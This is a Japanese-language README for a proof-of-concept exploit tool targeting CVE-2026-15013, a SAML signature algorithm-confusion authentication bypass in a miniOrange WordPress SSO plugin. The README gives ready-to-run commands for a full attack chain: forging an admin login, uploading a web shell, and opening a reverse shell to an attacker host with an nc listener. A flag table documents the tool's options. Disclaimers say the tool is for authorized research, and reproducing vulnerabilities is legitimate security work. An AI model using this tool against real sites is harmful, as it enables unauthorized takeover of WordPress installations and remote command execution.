
CVE-2026-15013 のエクスプロイト: アルゴリズム混乱を利用した未認証の SAML 認証バイパス。SAML レスポンスを偽造して管理者アクセスを取得し、ウェブシェル/リバースシェルを展開します。認可されたテスト専用です。
CVE-2026-15013 の概念実証(PoC): miniOrange 製 WordPress プラグイン SAML Single Sign On – SSO Login(バージョン 5.4.3 以下)における、SAML の 署名アルゴリズム混同(HMAC-SHA1)を利用した未認証の認証バイパス。
許可されたテストのみ。 このコードは、自分が所有するシステム、または明示的な許可を得たシステムに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。
| 役割 | |
|---|---|
| 脆弱性の発見者 | lhking(CVE レコードに記載) |
| CVE / CNA | Wordfence |
| 本リポジトリ | 独立したラボでの再現 / PoC 自動化(最初の発見ではありません) |
CVE レコード: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() は、攻撃者が制御する SAMLResponse 内の SignatureMethod アルゴリズムを信頼します。HMAC-SHA1 が設定されている場合、プラグインは IdP の RSA 公開鍵 を HMAC 共有秘密鍵として再解釈し、それを使って署名を検証します。IdP 証明書(多くの場合、公開メタデータ)を読める者は誰でも、管理者を含む既存の WordPress ユーザー向けの有効なアサーションを偽造できます。
5.4.4 以上 で修正済み(不安全なアルゴリズム / HMAC は拒否)。
9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl CLI(証明書から公開鍵を取得するため)依存関係をインストール:
pip install -r requirements.txt
完全なチェーン(ユーザー列挙、HMAC ログイン、管理者、ウェブシェル):
python3 exploit.py -u https://TARGET.example
任意のリバースシェル(先にリスナーを起動: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
ログインのみ(シェルなし):
python3 exploit.py -u https://TARGET.example --no-shell
手動オーバーライド:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhost による任意のリバースシェルこのプロジェクトは教育目的および許可されたセキュリティ研究のみを対象としています。著者および貢献者は悪用について一切の責任を負いません。第三者システムをテストする前に、必ず書面による許可を取得してください。本脆弱性は責任ある開示(responsible disclosure)を通じて報告されたものであり、このリポジトリは学習と防御的検証のための再現を示すものにすぎません。
研究目的での使用のため。無保証です。
| フラグ | 説明 |
|---|
-u, --url | WordPress ベース URL(必須) |
-k, --hmac-key | PEM 公開鍵または証明書ファイル。空の場合は IdP メタデータから取得 |
--issuer | IdP の発行者(issuer)を上書き |
--acs | ACS URL を上書き |
--nameid | WordPress ユーザー名を 1 つに固定 |
--lhost / --lport | リバースシェルのコールバック(デフォルトポート 4444) |
--no-shell | 管理者セッションの取得後に停止 |
--no-reverse | シェルをアップロードするがリバースは起動しない |